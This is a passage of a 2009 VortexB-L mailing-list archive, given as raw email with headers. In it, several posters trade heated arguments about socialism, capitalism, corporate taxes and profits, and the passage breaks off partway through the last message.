vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 533 On Sun, 24 May 2009 17:14:39 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, Jeff Fink >mounted the barricade and roared out: > >> Grok, >>=20 >> Can you give us an example of a nation where = socialism/Marxism/communism did >> not degrade into Stalinism, Maoism, Pol Potism, etc? >>=20 >> Jeff > >No I can't. But what does that MEAN, really..? --- It means that socialism was, is, and always will be a failure since it grinds down the worth of the individual for the sake of the survival of the collective. A society so throttled will _always_ be degenerate.=20 --- >If I'm trying to build a village, say -- but a horde of arsonists comes = running over >the hill every so often and burns everything to the ground -- does this = mean that my >'theory of villages' is wrong/outdated/deluded/superceded/etc..? No it = doesn't.=20 --- Yes, it does, because the village you're trying to build is built on the ashes of the system you yourselves burned down, and now you're whining about that someone else is doing the same thing to you. --- >And in fact, the capitalists are expert at taking things out of context = -- most >especially themselves and their criminal activities in the World.=20 --- Hardly, since what we try do do is work out trade agreements which are mutually beneficial with our trading partners and pay for everything we get from them. --- >Such as their r=F4le >in PRODUCING the "failure=A8 of all previous and present attempts at = 'building >socialism'. --- Socialism is anathema to capitalism because it's an evil system which demeans the individual for the "good" of the collective and, as such, is capitalism's mortal enemy. "From each according to his ability and to each according to his needs." requires that someone other than the individual, with his hopes and dreams, determine what the individual's output of labor should be in order to support the collective and what his minimum needs should be in order to secure his desired output for the benefit of the collective. In the long run that boils down to: "You'll work as long and as hard as we tell you to, and we'll give you just enough to make sure you output what we need.", and in the long run that always fails. --- >And so this is essentially not a legitimate argument to be making here.=20 --- Total rubbish, and that's one of your favorite tricks, isn't it; to decry something as illegitimate when it threatens you, without supplying corroborating evidence?=20 --- >The question is really: how to overcome capitalist perfidy in creating = what we KNOW we can do with >the socialist organization of society. --- Weasel words. Capitalism has never been perfidious and has always defined its goals as being maximizing the gain of the system and that of the work performed by the individual, with the result being that the system and the individual both profit. You whine about how capitalism has held you back and yet, time after time, even with your niggardly acceptance of the help of capitalism, all of your socialistic societies have a gain of less than 1 and have failed because of your unrelenting desire to keep people under your thumb. JF =20 From vortexb-l-request@eskimo.com Mon Jun 1 19:28:53 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n522SpnQ023821; Mon, 1 Jun 2009 19:28:51 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n522SoI6023813; Mon, 1 Jun 2009 19:28:50 -0700 Resent-Date: Mon, 1 Jun 2009 19:28:50 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=5Eug4g6j1w2E3LH2Q+bS0o9kvH4WGW+3nfGsihJFcAw=; b=O0CWTqFNOQ4BNnLxEoS61G8toFC+xMHa5rxOS7uN6e+UYC+mOux87tYFI4ELp9MZk8 V0NtUFzqhwY/gf6CGVGcww2HhHdXrnVJFH8GbBpM1A7sqrR2RGbsubHgAa2ZiXuZKfZD R3QT2Hp2Qs8Gf6UChCyGPuCUmxxnUozTbz+PM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=YsQ0/Y2b0rj/6P49bnBYjCHxtALcwFaEJQN7iuxMKDLfFPi/14eWij2Q8sB24i1w6u bb3PcBL4muHH1UDcvzznMIBXW7kqxQtIBToOjmCjCksevEtW1aaiKWvuUcdqTncXqpi1 arVCnffOfnmW7EtWHl73Gl0xih9qsxeTr7hf4= MIME-Version: 1.0 In-Reply-To: References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> <33BEBAF830E04AC88800196902DB76A9@REVTEC1> <20090525001439.GH30161@shell.resist.ca> From: Charles HOPE Date: Mon, 1 Jun 2009 22:28:29 -0400 Message-ID: <63ffa6020906011928t3fe535f2k4bfe5120f71c9b17@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0015174c3e9e893400046b544dc3 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4292 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 534 --0015174c3e9e893400046b544dc3 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable It really doesn't make any sense to portray Capitalism as the root of all evil without admiring the superior quality of life in those places and time= s where Capitalism was abolished. On Mon, Jun 1, 2009 at 10:23 PM, John Fields wrote: > On Sun, 24 May 2009 17:14:39 -0700, you wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > > > >As the smoke cleared, Jeff Fink > >mounted the barricade and roared out: > > > >> Grok, > >> > >> Can you give us an example of a nation where socialism/Marxism/communi= sm > did > >> not degrade into Stalinism, Maoism, Pol Potism, etc? > >> > >> Jeff > > > >No I can't. But what does that MEAN, really..? > > --- > It means that socialism was, is, and always will be a failure since it > grinds down the worth of the individual for the sake of the survival of > the collective. A society so throttled will _always_ be degenerate. > --- > > >If I'm trying to build a village, say -- but a horde of arsonists comes > running over > >the hill every so often and burns everything to the ground -- does this > mean that my > >'theory of villages' is wrong/outdated/deluded/superceded/etc..? No it > doesn't. > > --- > Yes, it does, because the village you're trying to build is built on the > ashes of the system you yourselves burned down, and now you're whining > about that someone else is doing the same thing to you. > --- > > >And in fact, the capitalists are expert at taking things out of context = -- > most > >especially themselves and their criminal activities in the World. > > --- > Hardly, since what we try do do is work out trade agreements which are > mutually beneficial with our trading partners and pay for everything we > get from them. > --- > > >Such as their r=F4le > >in PRODUCING the "failure=A8 of all previous and present attempts at > 'building > >socialism'. > > --- > Socialism is anathema to capitalism because it's an evil system which > demeans the individual for the "good" of the collective and, as such, is > capitalism's mortal enemy. > > "From each according to his ability and to each according to his needs." > > requires that someone other than the individual, with his hopes and > dreams, determine what the individual's output of labor should be in > order to support the collective and what his minimum needs should be in > order to secure his desired output for the benefit of the collective. > > In the long run that boils down to: "You'll work as long and as hard as > we tell you to, and we'll give you just enough to make sure you output > what we need.", and in the long run that always fails. > --- > > >And so this is essentially not a legitimate argument to be making here. > > --- > Total rubbish, and that's one of your favorite tricks, isn't it; to > decry something as illegitimate when it threatens you, without supplying > corroborating evidence? > --- > > >The question is really: how to overcome capitalist perfidy in creating > what we KNOW we can do with > >the socialist organization of society. > > --- > Weasel words. > > Capitalism has never been perfidious and has always defined its goals as > being maximizing the gain of the system and that of the work performed > by the individual, with the result being that the system and the > individual both profit. > > You whine about how capitalism has held you back and yet, time after > time, even with your niggardly acceptance of the help of capitalism, all > of your socialistic societies have a gain of less than 1 and have failed > because of your unrelenting desire to keep people under your thumb. > > JF > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0015174c3e9e893400046b544dc3 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable It really doesn't make any sense to portray Capitalism as the root of a= ll evil without admiring the superior quality of life in those places and t= imes where Capitalism was abolished.



On Mon, Jun 1, 2009 at 10:23 PM, John Fields <jfields@austininstruments.com= > wrote:
On Sun, 24 May 2009 17:14:39 -0700, you wrote:

>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>
>As the smoke cleared, Jeff Fink <r= evtec@ptd.net>
>mounted the barricade and roared out:
>
>> Grok,
>>
>> Can you give us an example of a nation where socialism/Marxism/com= munism did
>> not degrade into Stalinism, Maoism, Pol Potism, etc?
>>
>> Jeff
>
>No I can't. But what does that MEAN, really..?

---
It means that socialism was, is, and always will be a failure since it
grinds down the worth of the individual for the sake of the survival of
the collective. =A0A society so throttled will _always_ be degenerate.
---

>If I'm trying to build a village, say -- but a horde of arsonists c= omes running over
>the hill every so often and burns everything to the ground -- does this= mean that my
>'theory of villages' is wrong/outdated/deluded/superceded/etc..= ? No it doesn't.

---
Yes, it does, because the village you're trying to build is built on th= e
ashes of the system you yourselves burned down, and now you're whining<= br> about that someone else is doing the same thing to you.
---

>And in fact, the capitalists are expert at taking things out of context= -- most
>especially themselves and their criminal activities in the World.

---
Hardly, since what we try do do is work out trade agreements which are
mutually beneficial with our trading partners and pay for everything we
get from them.
---

>Such as their r=F4le
>in PRODUCING the "failure=A8 of all previous and present attempts = at 'building
>socialism'.

---
Socialism is anathema to capitalism because it's an evil system which demeans the individual for the "good" of the collective and, as s= uch, is
capitalism's mortal enemy.

"From each according to his ability and to each according to his needs= ."

requires that someone other than the individual, with his hopes and
dreams, determine what the individual's output of labor should be in order to support the collective and what his minimum needs should be in
order to secure his desired output for the benefit of the collective.

In the long run that boils down to: "You'll work as long and as ha= rd as
we tell you to, and we'll give you just enough to make sure you output<= br> what we need.", and in the long run that always fails.
---

>And so this is essentially not a legitimate argument to be making here.=

---
Total rubbish, and that's one of your favorite tricks, isn't it; to=
decry something as illegitimate when it threatens you, without supplying corroborating evidence?
---

>The question is really: how to overcome capitalist perfidy in creating = what we KNOW we can do with
>the socialist organization of society.

---
Weasel words.

Capitalism has never been perfidious and has always defined its goals as being maximizing the gain of the system and that of the work performed
by the individual, with the result being that the system and the
individual both profit.

You whine about how capitalism has held you back and yet, time after
time, even with your niggardly acceptance of the help of capitalism, all of your socialistic societies have a gain of less than 1 and have failed because of your unrelenting desire to keep people under your thumb.

JF




--
Never did I see = a second sun
Never did my skin touch a land of glass
Never did my rif= le point but true
But in a land empty of enemies
Waiting for the tick= -tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--0015174c3e9e893400046b544dc3-- From vortexb-l-request@eskimo.com Mon Jun 1 21:26:26 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n524QONI014895; Mon, 1 Jun 2009 21:26:24 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n524QNnR014890; Mon, 1 Jun 2009 21:26:23 -0700 Resent-Date: Mon, 1 Jun 2009 21:26:23 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=3CI503xXYk2ryewP8qGRz1hEtu+6re39ssttJrr/gvA=; b=nWWH4W8Z7ayzbL/RMWbDqItnZJsrwOJryypnAdY39Gvb1DjJyOgaM3va+OJIVczhW5 gA3GowQs+3OYNpY0SQfMqbZj9MF4po3s6sXRklvLqlu1g9FvrfCEElLLeq2a3SMeW3V+ S6Fhgm7sykwwoBUyqFI31v+yCIcEQQJCMJ24A= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=HsXp80f7JeJEy/zUpuhpnUHi4CqxnKNHlRoy07tlZnYsn06mh36B4Oxbig8yczCd5N S37Qp73F4LuzVeyv8qjrPKnoYXYOWZOPQcRMwlGcU8tpGxElCV13BJ+L38g/dceEgt2T +f1vEkj4Q2sqmjY74aHU6E19+iwo3OGI7Efhc= MIME-Version: 1.0 In-Reply-To: <63ffa6020906011855u47bac38dxc4b30012b3f144f5@mail.gmail.com> References: <298e62298947.298947298e62@ncf.ca> <63ffa6020905302025o47ea89e0y488c141e40ae6225@mail.gmail.com> <63ffa6020905312128t161cf947gbb50e908a065f7a1@mail.gmail.com> <63ffa6020906011717l579426e9k4a7b14996f4668fc@mail.gmail.com> <63ffa6020906011855u47bac38dxc4b30012b3f144f5@mail.gmail.com> Date: Mon, 1 Jun 2009 21:26:19 -0700 Message-ID: Subject: Re: [VoB]:freedom and/or equality From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4293 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 535 Yeah, in our current environment where companies are punished by the stock market for investing in capital gains, and rewarded for cutting costs by selling off properties and laying off employees. We don't have companies reinvesting in themselves. If we did, we'd be in much better shape. Instead, companies move to overseas facilities, manufacture in china, and we lose massive amounts of factory jobs and factories lie empty, gathering cobwebs, let alone any new ones being built. Something tells me you have very little experience with reality. On Mon, Jun 1, 2009 at 6:55 PM, Charles HOPE wrote: > You haven't mentioned capital investment, such as building factories and > such. Something tells me you've little experience in business. > > > > On Mon, Jun 1, 2009 at 9:32 PM, leaking pen wrote: >> >> They get turned into bonuses for top level executives that already >> make the salary of 500 of the regular workers, or split up to >> stockholders, and in both cases usually get put away in trust funds, >> tax shelters, and luxury goods purchased from out of state or country >> in such ways that very little income tax is paid, and the money is >> taken out of the system, out of the economy, rather than being used to >> further the growth of the system via sales. >> >> What do YOU think happens to it? Im due to listen to a good fairy tale. >> >> On Mon, Jun 1, 2009 at 5:17 PM, Charles HOPE >> wrote: >> > What do you think happens to corporate profits? >> > >> > >> > On Mon, Jun 1, 2009 at 1:57 AM, leaking pen wrote= : >> >> >> >> most of those services TO corporations. >> >> >> >> No, costs wont rise much, profits at the corporate level will go down= . >> >> When a company saves 100 million by getting the goverment to pay for >> >> their new facility, do you think it comes off of prices? hell no. >> >> >> >> also, tax loopholes for corporations ... >> >> >> >> http://uprisingradio.org/home/?p=3D7210 >> >> >> >> an article that estimates "loopholes and havens" are costing the gov >> >> 100 billion a year in corporate tax. >> >> >> >> heres income currently based on the goverments own numbers , numbers >> >> in millions of dollars. >> >> 2008, private income tax. 1,163,472 >> >> corporate income tax 370,243 >> >> >> >> whos paying the most? ohh, and all that spending, does it go straigh= t >> >> to people? no, most of it goes to businesses in the form of grants. >> >> the military budget is immense, and who gets that money? halliburton >> >> and defense contractors. >> >> >> >> Many people will point out that health and human services is as big a >> >> piece of the pie. But thats mostly social security, paid for by >> >> social security insurance payments and medicare paid for by medicare >> >> payments on payrolls, seperate of the straight income tax. Thats pai= d >> >> half and half by companies and the employees, except for self >> >> employed. the numbers (again in millions) of receipts? 869,607 >> >> >> >> these numbers from this link, btw. >> >> http://www.gpoaccess.gov/usbudget/fy09/hist.html >> >> >> >> On Sun, May 31, 2009 at 9:28 PM, Charles HOPE >> >> wrote: >> >> > Your taxes aren't high because of corporate tax breaks but the myri= ad >> >> > services government is expected to provide. Our domestic spending i= s >> >> > ridiculous, and we are paying for 700 foreign army bases in 130 >> >> > countries. >> >> > If corporations were taxed, it would do nothing raise prices for >> >> > consumers. >> >> > >> >> > >> >> > >> >> > >> >> > On Sun, May 31, 2009 at 2:39 AM, leaking pen >> >> > wrote: >> >> >> >> >> >> Except that teh companies are getting that money FROM the >> >> >> government. >> >> >> Its the same money. if companies werent getting these exorbitant >> >> >> bonueses and kickbacks and breaks, income tax wouldn't be as high. >> >> >> as >> >> >> for tax amount, i would LOVE if my taxes were 50 percent. To even >> >> >> reach that point, it would mean, after taxes, i was taking home >> >> >> about >> >> >> 10 times what i do now. >> >> >> >> >> >> On Sat, May 30, 2009 at 8:25 PM, Charles HOPE >> >> >> wrote: >> >> >> > Is it really possible that employers extract more than the >> >> >> > government >> >> >> > does? >> >> >> > If the accounting is performed, I'm sure you'll find employer >> >> >> > extraction >> >> >> > of >> >> >> > surplus (even in a zero-sum system) much less than the ~50% >> >> >> > extracted >> >> >> > by >> >> >> > government in direct taxes and indirect inflation. Government is >> >> >> > the >> >> >> > super-exploiter. >> >> >> > >> >> >> > >> >> >> > On Fri, May 29, 2009 at 10:23 AM, leaking pen >> >> >> > wrote: >> >> >> >> >> >> >> >> THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! >> >> >> >> >> >> >> >> How is it not? Employers, the big ones, get corporate tax >> >> >> >> breaks, >> >> >> >> government kickbacks for building and bringing in jobs and >> >> >> >> "boosting >> >> >> >> the economy". Roads that are mostly used and used up by freigh= t >> >> >> >> trucks are paid for and repaired by funds that come from the >> >> >> >> average >> >> >> >> citizen, especially taxes on gasoline (which, being a business >> >> >> >> makes >> >> >> >> you immune to such taxes). Large companies get a po box in the >> >> >> >> caymans that protects them from additional tax. How is large >> >> >> >> scale >> >> >> >> employers, making billions in profit a yeah, basically cheating >> >> >> >> the >> >> >> >> system to not pay taxes on money they would never have made >> >> >> >> without >> >> >> >> the governments help in the first place, and that cost then bei= ng >> >> >> >> passed on to the rest of us, NOT exploitation by the employer? >> >> >> >> >> >> >> >> and thats before we talk about companies like walmart, that mak= e >> >> >> >> sure >> >> >> >> most of their employees are just part time enough to never get >> >> >> >> benefits, but then hire a person to help their employees enroll >> >> >> >> in >> >> >> >> medicaid, rather than having medical insurance plans available.= .. >> >> >> >> >> >> >> >> On Fri, May 29, 2009 at 7:12 AM, Jeff Fink >> >> >> >> wrote: >> >> >> >> > When you have equality of opportunity, some will act on the >> >> >> >> > opportunity >> >> >> >> > and >> >> >> >> > some will not. The industrious will prosper more than the >> >> >> >> > lazy. >> >> >> >> > Some >> >> >> >> > on >> >> >> >> > this forum will say that the resulting disparity in wealth is >> >> >> >> > unfair, >> >> >> >> > and >> >> >> >> > that the wealth of the industrious individuals must be taken >> >> >> >> > and >> >> >> >> > given >> >> >> >> > to >> >> >> >> > those who have less. This process is a move toward equalizin= g >> >> >> >> > outcome, >> >> >> >> > and >> >> >> >> > is embodied by the graduated income tax system, where achieve= rs >> >> >> >> > are >> >> >> >> > liberated of their achievement at an ever higher percentage >> >> >> >> > based >> >> >> >> > on >> >> >> >> > their >> >> >> >> > success. >> >> >> >> > >> >> >> >> > Some of the needy truly need help, but many are merely milkin= g >> >> >> >> > the >> >> >> >> > system. >> >> >> >> > >> >> >> >> > Where is freedom if hard working people are looted to give fr= ee >> >> >> >> > rides >> >> >> >> > to >> >> >> >> > slackers. We hear the Marxist axiom "From him according to h= is >> >> >> >> > ability >> >> >> >> > to >> >> >> >> > him according to his need." How much can you bleed the worker= s >> >> >> >> > with >> >> >> >> > taxes >> >> >> >> > before they revolt. The US worker is not unhappy about the >> >> >> >> > size >> >> >> >> > of >> >> >> >> > his >> >> >> >> > paycheck as much as he is unhappy about how little of it he i= s >> >> >> >> > allowed >> >> >> >> > to >> >> >> >> > keep. THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! >> >> >> >> > >> >> >> >> > If we are truly free, some people will outperform others. If >> >> >> >> > we >> >> >> >> > are >> >> >> >> > forced >> >> >> >> > to be equal (equal pay for unequal effort), nobody gets ahead= , >> >> >> >> > we >> >> >> >> > all >> >> >> >> > give >> >> >> >> > up trying. The result is not sharing the wealth, but equally >> >> >> >> > sharing >> >> >> >> > the >> >> >> >> > misery. >> >> >> >> > >> >> >> >> > In a planned economy, who gets to do the planning? Who does >> >> >> >> > all >> >> >> >> > the >> >> >> >> > work? >> >> >> >> > It has always been and always will be the case that the quali= ty >> >> >> >> > of >> >> >> >> > life >> >> >> >> > of >> >> >> >> > the planners will be far better than the life of the planee. >> >> >> >> > There >> >> >> >> > will >> >> >> >> > be >> >> >> >> > no equality between these two groups. Central planning means >> >> >> >> > micro >> >> >> >> > managing, which is inefficient, error prone, and ultimately >> >> >> >> > punishes >> >> >> >> > achievers. >> >> >> >> > >> >> >> >> > Jeff. >> >> >> >> > >> >> >> >> > -----Original Message----- >> >> >> >> > From: leaking pen [mailto:itsatrap@gmail.com] >> >> >> >> > Sent: Thursday, May 28, 2009 4:59 PM >> >> >> >> > To: vortexb-l@eskimo.com >> >> >> >> > Subject: Re: [VoB]:freedom and/or equality >> >> >> >> > >> >> >> >> > No, as all rights automatically include a duty with them. If >> >> >> >> > everyone >> >> >> >> > has the right to free speech, then everyone automatically has= a >> >> >> >> > duty >> >> >> >> > to protect and not infringe anothers free speech. Ethics 101 >> >> >> >> > my >> >> >> >> > man. >> >> >> >> > >> >> >> >> > On Thu, May 28, 2009 at 1:19 PM, Jeff Fink >> >> >> >> > wrote: >> >> >> >> >> The only thing I see as the difference after checking my >> >> >> >> >> dictionary >> >> >> >> >> is >> >> >> >> > that >> >> >> >> >> an opportunity is a chance whereas a liberty is supposed to = be >> >> >> >> >> a >> >> >> >> >> right. >> >> >> >> > As >> >> >> >> >> rights go, what we have on paper and what we have in actuali= ty >> >> >> >> >> is >> >> >> >> >> not >> >> >> >> >> necessarily the same. >> >> >> >> >> >> >> >> >> >> Have you considered the possibility that freedom and equalit= y >> >> >> >> >> are >> >> >> >> >> mutually >> >> >> >> >> exclusive concepts. >> >> >> >> >> >> >> >> >> >> Jeff >> >> >> >> >> >> >> >> >> >> -----Original Message----- >> >> >> >> >> From: leaking pen [mailto:itsatrap@gmail.com] >> >> >> >> >> Sent: Thursday, May 28, 2009 1:19 PM >> >> >> >> >> To: vortexb-l@eskimo.com >> >> >> >> >> Subject: Re: [VoB]:freedom and/or equality >> >> >> >> >> >> >> >> >> >> This. I fail to see a difference. >> >> >> >> >> >> >> >> >> >> On Thu, May 28, 2009 at 10:12 AM, Jeff Fink >> >> >> >> >> wrote: >> >> >> >> >>> What is the difference between opportunity and liberty in >> >> >> >> >>> your >> >> >> >> >>> opinion? >> >> >> >> >>> >> >> >> >> >>> Jeff >> >> >> >> >>> >> >> >> >> >>> -----Original Message----- >> >> >> >> >>> From: Harry Veeder [mailto:hveeder@ncf.ca] >> >> >> >> >>> Sent: Thursday, May 28, 2009 12:16 PM >> >> >> >> >>> To: vortexb-l@eskimo.com >> >> >> >> >>> Subject: Re: [VoB]:freedom and/or equality >> >> >> >> >>> >> >> >> >> >>> neither. >> >> >> >> >>> I prefer equal liberty. >> >> >> >> >>> >> >> >> >> >>> Harry >> >> >> >> >>> >> >> >> >> >>> ----- Original Message ----- >> >> >> >> >>> From: Jeff Fink >> >> >> >> >>> Date: Thursday, May 28, 2009 11:31 am >> >> >> >> >>> Subject: [VoB]:freedom and/or equality >> >> >> >> >>> >> >> >> >> >>>> Would you prefer to live in a society that guarantees equa= l >> >> >> >> >>>> opportunity, or >> >> >> >> >>>> one that guarantees equal outcome? >> >> >> >> >>>> >> >> >> >> >>>> >> >> >> >> >>>> >> >> >> >> >>>> Jeff >> >> >> >> >>>> >> >> >> >> >>>> >> >> >> >> >>> >> >> >> >> >>> >> >> >> >> >>> >> >> >> >> >>> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> > >> >> >> >> > >> >> >> >> > >> >> >> >> > >> >> >> >> >> >> >> > >> >> >> > >> >> >> > >> >> >> > -- >> >> >> > Never did I see a second sun >> >> >> > Never did my skin touch a land of glass >> >> >> > Never did my rifle point but true >> >> >> > But in a land empty of enemies >> >> >> > Waiting for the tick-tick-tick of the want >> >> >> > A uranium angel >> >> >> > Crying =93behold,=94 >> >> >> > This land that knew fire is yours >> >> >> > Taken from Corruption >> >> >> > To begin anew >> >> >> > >> >> >> >> >> > >> >> > >> >> > >> >> > -- >> >> > Never did I see a second sun >> >> > Never did my skin touch a land of glass >> >> > Never did my rifle point but true >> >> > But in a land empty of enemies >> >> > Waiting for the tick-tick-tick of the want >> >> > A uranium angel >> >> > Crying =93behold,=94 >> >> > This land that knew fire is yours >> >> > Taken from Corruption >> >> > To begin anew >> >> > >> >> >> > >> > >> > >> > -- >> > Never did I see a second sun >> > Never did my skin touch a land of glass >> > Never did my rifle point but true >> > But in a land empty of enemies >> > Waiting for the tick-tick-tick of the want >> > A uranium angel >> > Crying =93behold,=94 >> > This land that knew fire is yours >> > Taken from Corruption >> > To begin anew >> > >> > > > > -- > Never did I see a second sun > Never did my skin touch a land of glass > Never did my rifle point but true > But in a land empty of enemies > Waiting for the tick-tick-tick of the want > A uranium angel > Crying =93behold,=94 > This land that knew fire is yours > Taken from Corruption > To begin anew > From vortexb-l-request@eskimo.com Mon Jun 1 21:28:47 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n524Sij2027236; Mon, 1 Jun 2009 21:28:44 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n524Sir0027225; Mon, 1 Jun 2009 21:28:44 -0700 Resent-Date: Mon, 1 Jun 2009 21:28:44 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 1 Jun 2009 21:28:34 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Frank Gordon continues the crusade in San Diego Message-ID: <20090602042834.GB4851@shell.resist.ca> Reply-To: grok@resist.ca References: <7.0.1.0.2.20090601154204.03946e70@gmail.com> <20090601212755.GC28660@shell.resist.ca> <63ffa6020906011723w3a17ef6etfa1ae310b92e8375@mail.gmail.com> <20090602012833.GA4851@shell.resist.ca> <63ffa6020906011858n1d7d23f9tab22b1c7c217567b@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020906011858n1d7d23f9tab22b1c7c217567b@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: surface-to-air, Project Integral, AH-64A Apache, nuclear bunker busters, Nazi skinhead User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4294 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 536 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Hypocrites, by looking after their own financial interests and following the > money trail? That would certainly be the beginning of it, indeed. Many a crime starts with such a premise. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkokqnIACgkQXo3EtEYbt3E6dwCg1KjDhBTJWg9ZOf/Z8BiF7Dbu Z2IAniBSbHYZP74ndTHTgvuGQhPMxyTc =rEun -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 1 21:52:10 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n524q8K9001403; Mon, 1 Jun 2009 21:52:08 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n524q7AV001389; Mon, 1 Jun 2009 21:52:07 -0700 Resent-Date: Mon, 1 Jun 2009 21:52:07 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 1 Jun 2009 21:52:00 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:freedom and/or equality Message-ID: <20090602045200.GC4851@shell.resist.ca> Reply-To: grok@resist.ca References: <63ffa6020905302025o47ea89e0y488c141e40ae6225@mail.gmail.com> <63ffa6020905312128t161cf947gbb50e908a065f7a1@mail.gmail.com> <63ffa6020906011717l579426e9k4a7b14996f4668fc@mail.gmail.com> <63ffa6020906011855u47bac38dxc4b30012b3f144f5@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: surface-to-air, Project Integral, AH-64A Apache, nuclear bunker busters, Nazi skinhead User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4295 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 537 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Chuckie does like to engage in cheap shots doesn't he..? And for his information: AFAIC I'd be GOOD in business. Except I know what a SCAM it is, and find it unacceptable human behavior. - -- grok. As the smoke cleared, leaking pen mounted the barricade and roared out: > Yeah, in our current environment where companies are punished by the > stock market for investing in capital gains, and rewarded for cutting > costs by selling off properties and laying off employees. We don't > have companies reinvesting in themselves. If we did, we'd be in much > better shape. Instead, companies move to overseas facilities, > manufacture in china, and we lose massive amounts of 